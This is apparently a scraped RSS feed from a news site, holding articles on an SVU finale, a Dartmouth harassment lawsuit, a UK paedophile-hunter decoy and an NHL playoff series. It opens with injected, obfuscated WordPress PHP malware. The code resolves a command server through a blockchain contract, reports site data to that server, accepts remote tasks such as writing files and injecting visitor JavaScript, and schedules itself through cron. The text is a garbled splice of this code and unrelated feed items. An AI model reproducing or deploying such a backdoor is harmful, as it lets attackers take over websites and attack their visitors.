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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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Did it just get dark in this courtroom, or is Law & Order: SVU‘s Benson just throwing a ton of shade?

The exclusive clip below — from tonight’s impromptu season finale, thanks to the coronavirus shutdown — takes place during the lead-up to Sir Tobias Moore’s long-awaited trial. (Don’t remember Sir Toby? He’s the media mogul, played by American Gods‘ Ian McShane, who was outed as a sexual predator in the Season 21 premiere.)

In tonight’s episode (NBC, 10/9c), Mariska Hargitay’s Benson approaches Moore’s lawyer, Elana Barth, and wastes no time shaming her for representing such a morally reprehensible man. “What happened to you?” Olivia asks the attorney. “You were a judge. You had respect for the legal system. You had respect for justice.”

But Barth isn’t having it, arguing that everyone is entitled to a legal defense. Plus, she adds, “I have two sons. You have a son. Can you imagine a scenario: He’s at college, a girl makes a false accusation, their lives are over.” Of course, Olivia has the exact right answer to that hypothetical.

The finale finds Carisi taking the lead on Moore’s trial while his former co-workers at SVU deal as past cases suddenly come to the fore.

Press PLAY on the video above to watch Benson and Barth’s charged conversation, then hit the comments: Do you think Sir Toby will be brought to justice?

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]]> https://briefnews.eu/svu-finale-sneak-peek-olivia-has-harsh-words-for-a-predators-lawyer/feed/ 0 US college let booze-soaked, tenured ‘predators’ club’ prey on students sexually for YEARS – lawsuit https://briefnews.eu/us-college-let-booze-soaked-tenured-predators-club-prey-on-students-sexually-for-years-lawsuit/ https://briefnews.eu/us-college-let-booze-soaked-tenured-predators-club-prey-on-students-sexually-for-years-lawsuit/#respond Sat, 17 Nov 2018 01:52:49 +0000 http://briefnews.eu/us-college-let-booze-soaked-tenured-predators-club-prey-on-students-sexually-for-years-lawsuit/ Dartmouth College administrators covered up for a trio of lewd professors who used their classrooms as a sexual hunting ground for over a decade, even threatening victims who spoke up, according to a new lawsuit.

Seven former graduate students are suing the school, alleging staff “willfully ignored” more than 10 years’ worth of complaints about the institutionalized sexual harassment infecting the Department of Psychological and Brain Sciences from top to bottom. When students did complain –about groping, harassing comments, even rape– administrators failed to act, hinting instead at unpleasant consequences for the complainants.

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The plaintiffs are seeking $ 70 million in damages and want the New Hampshire ivy to adopt policies that would prevent a repeat of such abuse. Lawyer Deborah Marcuse explained the suit, filed Thursday, was a last-ditch effort to make Dartmouth a place where women can “be safe and able to, as they say, put their heads down and do science.”

The professors, Todd Heatherton, William Kelley and Paul Whalen, allegedly turned the psychology department into a “21st Century Animal House,” complete with a hot tub, nonstop drinking, vulgar comments (including a contest to staff the “hottest lab”), and a bacchanalian atmosphere punctuated with unwanted sexual conduct, from groping to rape.

By 2002, at least one student had complained Heatherton groped her, and further harassment and discrimination complaints were lodged against him and Whalen in 2005. By then, Heatherton chaired the department, which had just brought in the largest peer-reviewed grant in Dartmouth’s history. The school, needless to say, did nothing. Ironically, much of Heatherton’s psychological research focuses on the neurological mechanisms underlying self-control.

Each woman believed she was the only victim of the most serious harassment, according to plaintiff Annemarie Brown.

I assumed it was just me. The men who were involved in perpetuating these events were incredibly good at what they did.

The professors implied severe repercussions should the women complain, according to Brown, who claims Whalen told her early on that the last student to speak up had “got what was coming to her” and been “iced out” of the field. “We were forced into a code of silence,” she said.

The spell was only broken during a March 2017 academic conference after Heatherton drunkenly groped and came on to plaintiff Sasha Brietzke, in full view of several other students who’d endured similar advances. These women met with the Director of Graduate Studies and Department Chairman, but the administrators actually encouraged the women to continue working with their harassers so as to avoid academic probation or even expulsion and took no action, according to the suit.

Plaintiff Andrea Courtney, a doctoral student harassed by Kelley, explained “this was an open secret. A lot of this behavior was happening to everyone, and nobody in a position of power stood up to do anything about it.” Frustrated with Dartmouth’s inaction, the victims filed Title IX complaints against the school, which finally placed the professors on administrative leave three months later. During the interim, perhaps feeling he had nothing to lose, Kelley allegedly raped one of the plaintiffs.

While the school did conduct a protracted internal investigation beginning in late 2017, the lawsuit alleges this was for appearances only, and administrators ultimately allowed Kelley and Whalen to resign and Heatherton to retire with their reputations intact earlier this year. They are no longer allowed on campus but have not been punished further.

The lawsuit is separate from a New Hampshire Attorney General’s investigation into sexual misconduct by the three professors that began last October.

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]]> https://briefnews.eu/us-college-let-booze-soaked-tenured-predators-club-prey-on-students-sexually-for-years-lawsuit/feed/ 0 My mission to hunt down the vile sex predators targeting children on the web https://briefnews.eu/my-mission-to-hunt-down-the-vile-sex-predators-targeting-children-on-the-web/ https://briefnews.eu/my-mission-to-hunt-down-the-vile-sex-predators-targeting-children-on-the-web/#respond Sun, 02 Sep 2018 07:07:58 +0000 http://briefnews.eu/my-mission-to-hunt-down-the-vile-sex-predators-targeting-children-on-the-web/

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The Lucy they have befriended online doesn’t exist (Image: GETTY)

Some contain suggestions so revolting they leave her physically sickened. 

Senders can be aged from 20 to more than 60, from anywhere in the country. 

What they all have in common is that they believe Lucy is a 12-year-old schoolgirl. 

But the Lucy they have befriended online doesn’t exist. 

In fact, she is an articulate woman in her 40s with a partner, two children and two stepchildren, who runs three businesses. 

She is also a decoy, who devotes hours every day to gathering evidence against sick predators who prey on vulnerable, under-age children. 

Lucy*, who lives in Hertfordshire, became a member of an online paedophile hunting group seven months ago, first helping survivors of grooming and then becoming a decoy and a “hunter”, going out on stings to confront targets. 

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There are now around 100 groups across the country whose online chat records, according to a BBC investigation, have been used to track down and charge more than 150 suspects. 

Lucy’s chat logs have been presented as evidence in three cases where a suspect has been convicted and she currently has a further 47 cases still under investigation by police. 

For the mother of four, being a decoy is an intensely personal, passionate crusade; one only her closest family and friends know about. 

“My stepdaughter was groomed through an app around 10 years ago but it was new territory for the police then so nothing happened and there was no conviction even though we had all the evidence,” she explains. 

“So when I was on Facebook last year and saw footage a friend had shared of a sting operation I thought, ‘that’s what I want to do’. I’d never seen one before but, having gone through the experience we had with my step-daughter, I felt I needed to do this to stop other children being groomed.” 

After finding a group called No More Silent Voices on Facebook, Lucy messaged to volunteer. “Within two weeks of giving advice to survivors, I asked to become a decoy,” she says. 

“I was already fully-trained in child protection and safeguarding through my own businesses and they did a full background check on me before I was shown strict guidelines and rules for setting up a profile.” 

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She currently has a further 47 cases still under investigation by police (Image: GETTY IMAGES)

Decoys are not allowed to send a friend request to anyone, they must only accept ones they received. Equally they should never invite men to chat, they have to wait for them to start any conversations first. 

“Everything has to be initiated by the predator and we can’t do or say anything that could be considered entrapment, such as start a sexual chat or send indecent images, because we need a watertight chat log to be able to convict,” she explains. 

Lucy set up two Facebook accounts using photos – given with consent – of an adult who is now over 18, showing them as a 12 and 13-year-old child, fully-clothed and in a non-provocative pose. 

“Then I just ‘friend requested’ another decoy and went to bed. When I woke up I had over 100 friend requests. They must have sat there going through the other decoy’s list of friends and found me. I was so shocked, I felt sick. Even now I still get around 16 new friend requests every day.

“It doesn’t look like an adult in the photograph and the minute you click on the profile it has the age clearly written, so they can’t have the excuse that they don’t know how old ‘I’ am. They do.” 

I was already fully-trained in child protection and safeguarding through my own businesses and they did a full background check on me before I was shown strict guidelines and rules for setting up a profile

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That first morning Lucy felt overwhelmed by the volume of men wanting to befriend her: “But by then I’d made my mind up that’s what I wanted to do, so I talked to the head decoy and she gave me examples of what to say.” 

Lucy accepted a few from the first avalanche of requests, following the group’s age guideline of men over 20 years of age. 

“From the start I noticed a pattern in how they behave. The ones in their 30s and 40s are the ones who are looking for more of a relationship, in my experience. They come in a bit more softly but turn sexual more quickly than the older generation. 

“The older ones, 60-plus, tend to really groom. You can go for months just talking normally, general chit-chat, then all of a sudden they change. To me, they’re the worst. They’re the ones who make the children feel vulnerable and like they are their best friend – then they turn.” 

In the nine months she has been a decoy Lucy has had three successful convictions, with more than 30 cases pending. 

“The images you get sent are vile, absolutely vile. I feel disgusted seeing them as an adult, so imagine if you were a child and received those?” 

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With a 12-year-old daughter, 16-year-old son and two step-children now in their 20s, Lucy is acutely aware of the need to protect children from the online threat. 

Decoy work is the first thing she does every morning, and the last thing every night – even on family holidays. 

The conversations can’t stop or the predators could get suspicious and a months-long operation could be compromised. 

“When I wake up, I log on and it’s ‘ping, ping, ping’ – all the messages start coming through. ‘Hi, are you getting ready for school?’ Can you send me pictures in your uniform?’ 

“If I log on at lunchtime I’ll often get lewd messages and as I’m supposed to be at school in lessons, they wait for breaks to contact me and then for me to get home and it starts again. It’s foul, absolutely foul, and quite distressing.” 

The process is time consuming and Lucy admits it can be very difficult to find a balance between family life and the mission she’s found herself on: “I can be online until 1.30am or 2am some days, because you have to copy the chat logs down in case they suddenly deactivate their account and the evidence is lost. 

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But I am so devoted to it. I feel like I’ve found something I can do that makes a difference,” she says resolutely. 

“I think I have become desensitised to an extent, over the months I’ve been doing it, but then I get one so awful it will almost break you.”

Stings happen when the predator arranges a meeting or if the chat has gone on too long and the content has become too extreme. 

“We confront the online predators with the evidence, question him or her and when they admit who they are or we prove they are the person we are looking for, then one of the group will go and call 999 to tell police what we’re doing. We video record it and give the footage to the police officers. 

“We hand over our chat logs and give statements. They arrest the predator and seize all their devices and it goes from there,” says Lucy, who admits the police have mixed reactions to the hunter groups and their use of decoys while some police chiefs have been vocal in their opposition, fearing they could jeopardise surveillance operations. 

Some forces, however, are fantastic, says Lucy. 

“They work well with us and like what we do because we hand them everything on a plate but others make it as awkward for us as possible, which is a real shame. They think of us as vigilantes, which we’re not. We try to do what we do as quietly as possible so no one around knows what we’re up to. My chat log for a case can be 250 pages long – the police don’t have the resources to do what we do. We just want to get these predators to leave children alone and getting them off the streets is protecting a child.” 

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Parents have warned Snap Map could make children a target (Image: GETTY)

Confronting a predator on his doorstep, even with the back-up of other group members, can be frightening: “I have been in some dangerous situations and things have flared up but, for some reason, I haven’t felt scared,” she says. 

“Maybe I should but I’m not. I don’t want them to intimidate me, so I stay calm and just focus on keeping them talking until the police arrive. 

“I also have good security from our team who go with me and will protect me should things get nasty. If needed, we will use security from other online hunting teams. 

We all work together at times as we are all after the same thing, which is to protect our children. 

“The thing that keeps me going at midnight, when I’m listening to something disgusting or watching horrible things, is they’re talking to me and not to a real child. That’s what motivates us all. “Sometimes I’m absolutely exhausted but if they’re still online I wait for them to go to bed first because I think, ‘if I click off now, who are they going to contact next?’.” 

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In the nine months she has been a decoy Lucy has had three successful convictions (Image: Branislav Cerven / Alamy Stock)

Men taken to court thanks to Lucy’s evidence

Andre Smith created a false identity, Peter Shaw, and friend-requested Lucy via Facebook before taking their conversations on to WhatsApp. 

They were in contact for just under a month when he sent her his address and Lucy’s hunter group confronted him. 

He appeared at Nottingham Crown Court on April 16 this year where he received a community order of 18 months and rehabilitation activity requirement for 30 days as part of an 18-month community order, and sexual harm prevention order. 

He was also placed on the Sex Offenders’ Register for five years.

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Andre Smith (Image: NC)

Cainan Bancroft friend-requested Lucy on Facebook believing she was 13. 

He sent sexually explicit messages and a video of himself performing a sex act.

He arranged to meet and was confronted by hunter group members who then called police.

Bancroft, 19, pleaded guilty at Leeds Crown Court to 11 sexual offences. 

On July 3 this year, he was sentenced to two years in a young offenders’ institute, given a sexual harm prevention order for 10 years and put on the Sex Offenders’ Register for 10 years.

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Cainan Bancroft (Image: NC)

Darren Volante contacted Lucy on Facebook believing she was a 13-year-old girl. 

He sent indecent images, asked her for images and attempted to meet her. 

Volante pleaded guilty at Swindon Crown Court to four counts of attempted sexual communication with a child under 16, three of attempting to cause a child to watch sexual activity and attempting to meet a child after sexual grooming. 

On June 20, 2018, after hearing he had learning difficulties, he was given a two-year jail term suspended for two years and ordered to attend a sex offenders’ programme.

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Darren Volante (Image: NC)

Police warn vigilantes must follow guidelines

Police forces have expressed concerns over the explosion in the number of hunters, condemning vigilante tactics used by those who don’t follow guidelines. 

Chief Constable Simon Bailey, of the National Police Chiefs’ Council, has said their actions could give suspects “the opportunity to destroy evidence before the police can investigate them” and may lead to diverting significant police resources into protecting suspects. 

The NPCC’s guidance warns that innocent people could be wrongly outed as paedophiles. 

Yet evidence gathered by predator hunter groups operating online is increasingly a part of child grooming investigations across the UK. 

Data from police in England and Wales shows a seven-fold increase in the use of evidence from groups like Lucy’s since 2015. 

Only last month the Police and Crime Commissioner for Nottinghamshire urged officers to form closer relationships with hunter groups. 

The number of groups – now estimated to be around 100 – has grown rapidly over the past 12 months, with decoys engaging with suspected paedophiles. 

They collect online chat logs on social media and messaging apps that are collated and handed over to police. 

Prominent groups include Dark Justice, Guardians Of The North, Predator Exposure and Shadow Hunters UK, as well as Lucy’s group, No More Silent Voices.

A Freedom of Information request this year revealed predator hunter groups’ evidence had been used to charge at least 150 suspects in 2017.

Forty-three police forces in England and Wales were approached to provide data, with 29 responding.

Their statistics showed a greater than seven-fold rise in two years in the number of cases brought, in which the evidence of a hunter group was used in some part, from 20 in 2015 to 150 in 2017. Of the forces that responded, almost half (47 per cent) of the cases in 2017 – of the crime of meeting a child following sexual grooming – used evidence from groups.

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]]> https://briefnews.eu/my-mission-to-hunt-down-the-vile-sex-predators-targeting-children-on-the-web/feed/ 0 Jets, Predators set for Game 7 showdown after back-and-forth series https://briefnews.eu/jets-predators-set-for-game-7-showdown-after-back-and-forth-series/ https://briefnews.eu/jets-predators-set-for-game-7-showdown-after-back-and-forth-series/#respond Wed, 09 May 2018 06:43:53 +0000 http://briefnews.eu/jets-predators-set-for-game-7-showdown-after-back-and-forth-series/

There was a brief moment of locker-room levity after the Jets had just blown a chance to clinch a spot in the Western Conference final for the first time in franchise — and the city's — history.

Winnipeg captain Blake Wheeler was asked by a reporter in the wake of Monday's 4-0 home loss in Game 6 what he would have done if told at the start of the season his team would be headed to Nashville to battle in a winner-take-all showdown for a place in the third round of the playoffs?

"I would have given you a big kiss," Wheeler responded, before quickly adding, "Not a lick. Let's be clear."

Despite the disappointment of failing to close out the Predators, the Jets will travel to Music City for Thursday's decisive Game 7 (8 p.m. ET, CBC) knowing they've already won twice at Bridgestone Arena in a roller-coaster series where momentum has meant as much as home ice — next to nothing.

Neither team has won consecutive games, with the visitors owning a 4-2 record in deafening opposition venues where the Jets and Predators went a combined 60-16-6 in the regular season before going 5-1 in their first-round victories.

"You knew us and Nashville were probably going to run at each other," said centre Paul Stastny, one of just a handful of Jets to play in multiple Game 7s. "You knew it was going to be a battle and now everyone got what they wanted."

Winnipeg had it all to play for on Monday after grabbing a 6-2 win in Nashville in Game 5 for a 3-2 series lead.

Preds putting up a fight

The Manitoba capital had never seen its NHL teams — the first incarnation of the Jets or this new version that came to town in 2011 — win a second-round playoff game before this spring, let alone make a conference final.

But with their city and province ready to explode in celebration, the Jets wilted.

"It's frustrating. It's painful," head coach Paul Maurice said. "You were right there. It's an elimination game. There have been an awful lot of seven-game series that have happened in the history of the National Hockey League, and somebody was up 3-2 in every single one of them.

"They were good on the road, we were good in [Game 5]. It's gonna be a hell of a game."

Battle-tested Nashville shut down Winnipeg's attack Monday the same it did in a 2-1 victory at Bell MTS Place in Game 4 to even the series 2-2. Predators goalie Pekka Rinne was good when he had to be, while Filip Forsberg and Victor Arvidsson put up impressive performances in the biggest game of the season.

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The Presidents' Trophy winners and last year's Stanley Cup finalists were never going to go quietly, but the Jets, who were second in the overall standings behind the Predators, didn't give themselves a chance after failing to connect on three straight power plays late in the first period.

Nashville was relentless, while Winnipeg's usually speedy roster seemed tight and indecisive, much like it did on home ice in Game 4.

"It's been back and forth," Stastny said of the series as a whole. "Sometimes you take your foot off the gas a little bit, you think it's going to be a little easier, it's never going to be like that.

"It's just another learning experience from us and we'll grow from it."

'You don't want regrets'

As for why the visiting team has had so much success, and the home team so little, there are lots of theories, but no definitive answers.

"We're playing a little bit harder on the road," Jets forward Patrik Laine said. "I don't know why that is because we should play the same game. It doesn't matter if we're home or on the road.

"We have had a couple of really good road games and we're going to need one more."

Nashville defenceman P.K. Subban, who guaranteed the series would return to Tennessee after that Game 5 loss, said the Predators will have to treat Thursday as if they're in enemy territory.

"We can't let our emotions get too high off our crowd," said Subban, a veteran of four Game 7s. "If we play solid defence, I like our chances."

In an exceptionally even series that has been filled with punches and immediate responses, it's next to impossible trying to predict what will happen in the clincher, other than that one team will be heading home.

"You don't want regrets," Stastny said. "You don't want to be scared of the situation or be scared of the pressure. You've gotta take it in, go with it, and have fun with it.

"Everyone's gotta leave it on the line."

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Filip Forsberg scored two incredible goals and added an assist, Pekka Rinne made 34 saves for his second shutout of the playoffs and the Nashville Predators defeated the Winnipeg Jets 4-0 on Monday to avoid elimination and tie their second-round series 3-3.

Game 7 goes Thursday in Nashville, with the winner taking on the expansion Vegas Golden Knights in the Western Conference final.

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Viktor Arvidsson had two goals of his own, including one into an empty net, and set up another for Predators, while Roman Josi and Ryan Johansen chipped in with two assists each.

Connor Hellebuyck stopped 25 shots for the Jets.

The back-and-forth West semifinal has yet to see a team win consecutive games in a punch/counter-punch affair set to go the distance.

With his Predators up a goal through one period, Forsberg put Nashville ahead by two at 8:44 of the second on a great solo rush for his sixth of the post season.

After breaking his stick in the defensive zone blocking a shot, the Swedish winger raced to the bench to collect a new piece of lumber as the puck almost simultaneously arrived at his feet. Forsberg stayed onside, fought off Jets defenceman Ben Chairot and beat Hellebuyck shortside before crashing into the net.

Winnipeg had made an earlier push coming out of the first intermission, with Paul Stastny's shot just wide of Rinne's net the best of the bunch after Mathieu Perreault's dump in hit the linesman and caromed into the slot. Stastny also missed from a tight angle off the boards on the follow up on Rinne.

After Forsberg made it 2-0, Rinne was there to stop Adam Lowry with his pad before just getting a piece of Mark Scheifele's shot on an abbreviated 2-on-1 to keep Nashville up by two.

The Jets got their fourth power play of the night early in the third, but Scheifele fired wide on the best opportunity.

Forsberg then took a pass from behind the net, played it between his own legs and beat Hellebuyck for his second of the night and seventh of the playoffs at 5:55 to send the series back to Nashville.

Arvidsson added an empty netter with 4:02 left in regulation.

While disappointed with the result, the Jets will travel to Music City knowing they've already won twice there in the series, including a 6-2 victory at Bridgestone Arena in Game 5 after the Predators ground out a 2-1 decision at Bell MTS Place in Game 4 to knot things 2-2.

Nashville took the lead just 62 seconds into the first period to quiet the usual rowdy, white-clad crowd at Bell MTS Place on Arvidsson's fourth.

The speedy winger crashed into the end boards after being taken down by Jets defenceman Dustin Byfuglien. Arvidsson briefly complained to the referee before getting back in the slot just in time to make a self-defence deflection of a blast from Josi that looked destined to hit him directly in his head as he dropped to the ice.

Referee Wes McCauley initially waved off the goal that bounced past Hellebuyck, but it was determined after video review that Arvidsson's stick was below the crossbar on the tip.

Rinne comes up big

After one toothless power play, the Jets got a couple of chances on their next man advantage, but Rinne was there to deny Stastny twice on the doorstep before also stopping a Patrik Laine one-timer.

The home side then got its third power play of the period, but it looked a lot like its first as the Predators went to their locker room up 1-0.

Winnipeg had never seen one of its teams win even a single game in the second round of the Stanley Cup playoffs before this spring.

The old Jets claimed three WHA titles in the 1970s, but the franchise was swept aside by the Edmonton Oilers in its only two NHL conference semifinal appearances — 1985 and 1987 — before leaving town to become the Phoenix Coyotes in 1996.

The NHL returned to Winnipeg in 2011 when the Atlanta Thrashers relocated to the Manitoba capital, but the new Jets' first foray into the playoffs in 2015 also resulted in a four-game ouster in the first round at the hands of the Anaheim Ducks.

The Predators and Jets finished with the two best records during the regular season — Nashville had 117 points to win its first Presidents' Trophy, while Winnipeg was right behind with 114 points.

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]]> https://briefnews.eu/rinne-shuts-out-jets-forsberg-scores-2-as-predators-avoid-elimination/feed/ 0 Failure to launch: Predators ground Jets' attempt at closing series https://briefnews.eu/failure-to-launch-predators-ground-jets-attempt-at-closing-series/ https://briefnews.eu/failure-to-launch-predators-ground-jets-attempt-at-closing-series/#respond Tue, 08 May 2018 09:15:40 +0000 http://briefnews.eu/failure-to-launch-predators-ground-jets-attempt-at-closing-series/ All of a sudden the best home team in hockey can't close the deal in front of their loud and loyal fanatics.

The Winnipeg Jets were stymied for the second straight game at Bell MTS Place by the Nashville Predators, this time by a 4-0 score that forced a seventh and deciding game back in Nashville on Thursday evening.

The Predators' dominant outing made for a quiet night in Winnipeg as the Jets fans inside and outside the arena were revved up and primed for a victory party. But the veteran Predators had another idea.

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It wasn't a shocking result, considering the Predators advanced all the way to the Stanley Cup final last season, won the Presidents' Trophy this year and were the best team on the road in the regular season. They have also gone 5-0 in the post-season after a loss.

But the Jets failed to learn from their mistakes in Game 4 at home last week, in which they could not find a way to penetrate the Predators defensive wall in a 2-1 loss.

Game 6 was similar to Game 4. Nashville goaltender Pekka Rinne was once again strong with a 34-save shutout, but the Predators also received an outstanding effort from their penalty-killing unit, which went four-for-four, and their top line.

Ryan Johansen, Viktor Arvidsson and Filip Forsberg accounted for all four of the Predators goals and combined for eight points. Arvidsson and Forsberg each scored two apiece.

Roman Josi (59), Viktor Arvidsson (33), Filip Forsberg (9), Ryan Johansen (92) and P.K. Subban (76) celebrate one of Forsberg's two goal during the Nashville Predators' 4-0 win over the Winnipeg Jets in Game 6 of their Western Conference second-round series in Winnipeg on Monday.(John Woods / The Canadian Press)

The Jets' first line of Mark Scheifele, captain Blake Wheeler and Kyle Connor has come through for Winnipeg in this series, too, but on Monday, it was the Predators' top trio that shone.

Arvidsson ducked and managed to tip home a shot 62 seconds into the game. Forsberg went undetected behind Jets defenceman Ben Chiarot after the Predators left wing went to the bench to get a new stick for a second-period goal.

Forsberg made it 3-0 in the third period with a magical between the legs shot and Arvidsson finished the deal with an empty-netter.

"Most of our best offence never got to the net. Good sticks on them, great job blocking shots," Jets coach Paul Maurice said.

"We need to get a little faster, a little quicker. I know you get tired of me saying that, but it's the foundation of what we do. For whatever reason, we didn't have that tonight.

"We didn't move the puck particularly well on [the power play], but that was also in the five-on-five game, not just the five-on-four game."

Time to regroup

The Jets now have two days to regroup. No team has been able to win back-to-back games in this series and Winnipeggers surely hope this trend continues.

The Jets looked tentative in Game 6. They didn't move the puck well, especially when they enjoyed zone time in the Predators' end. Some of this was because of the Predators' strong defensive game, but some of this was on the Jets, too.

"I know this: Pittsburgh lost tonight — a pretty good team," Maurice said, referring to the back-to-back Stanley Cup champions being eliminated by Washington on Monday.

"They've learned all those lessons you're supposed to learn — killer instinct — all the words that will come out today that we didn't get, and they lost. It's playoff hockey. For all the good things [the Predators] did tonight, it wasn't their last game and we were a pretty good team.

Maurice added that the series probably deserves to go to seven games and the two teams are evenly matched in their desire to move on to the next round. 

"It's been back and forth, up and down, so it's probably right that it's going seven games. There was lots of stuff we didn't like. The idea that you're going to go out there and win every night because you won the last one, well, we'd have a whole bunch of teams going 16-0.

"There have been an awful lot of [Game 7s] that have happened in the history of the National Hockey League and somebody was 3-2 in every one of those. They were good on the road, we were good in our last game [in Nashville]. We want to win the game just as bad as they do."

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The Winnipeg Jets are hoping to avoid the distractions that come with being one win away from making the first conference final in the city’s history.

“I’m not going to do much grocery shopping,” captain Blake Wheeler joked.

“I don’t think about it too much,” rookie winger Kyle Connor added. “Try to stay focused.”

Good luck with that.

The Jets got to within one victory of clinching their second-round series with the Nashville Predators on Saturday after surviving an early onslaught before pulling away for a well-earned 6-2 road decision in Game 5.

Winnipeg had never seen one of its teams pick up even a solitary win in the second round before this spring. The old Jets, who bolted town to become the Phoenix Coyotes in 1996, got past the second round twice only to be cannon fodder for Wayne Gretzky’s Edmonton Oilers in four-game sweeps in both 1985 and 1987.

The new Jets, formerly the Atlanta Thrashers until 2011, made the post-season for the first time in 2015, but were also swept aside by the Anaheim Ducks in the opening round.

Jets rookie Kyle Connor added his first two playoff goals to help Winnipeg to a 6-2 win over Nashville to take a crucial 3-2 series lead.1:37

Now this young, fast, resilient team is one victory from reaching the West final at what will no doubt be a thunderous Bell MTS Place on Monday night.

“We just have an unwavering confidence in ourselves,” Wheeler said after Saturday’s win at Bridgestone Arena. “I think we have that because of the depth we have.”

Winnipeg was shut down by Nashville at home in a 2-1 loss in Game 4 as the Predators clogged up the neutral zone and frustrated the speedy Jets to tie the series 2-2.

But a couple subtle changes to Winnipeg’s lineup — Connor was moved back to the top line with Wheeler and Mark Scheifele, while Nikolaj Ehlers returned to play alongside Paul Stastny and Patrik Laine — made a big difference in Game 5.

The first line combined for eight points, while the second unit pitched in with four.

Young guns leaving mark on series

It seemed like only a matter of time until Winnipeg’s young guns of Connor, Ehlers and Laine left their mark on the series.

Connor, a rookie, scored the first two playoff goals of his career and set up another, while Laine (one assist) and Ehlers (two assists) had their moments.

Wheeler said despite the trio’s struggles for stretches of the series, he never sensed any frustration.

“I haven’t because we’ve been winning, for the most part,” he said. “When you lose tough games and maybe guys that are used to contributing aren’t contributing [as much], then you start to grip the stick a little bit tighter.

“But when a team is having success, especially at this time of the year, there are going to be guys that are going to step up and have big nights.”

The Predators, last season’s West champion, will need a big night to force a Game 7 back in Nashville on Thursday —something defenceman P.K. Subban guaranteed following Saturday’s loss.

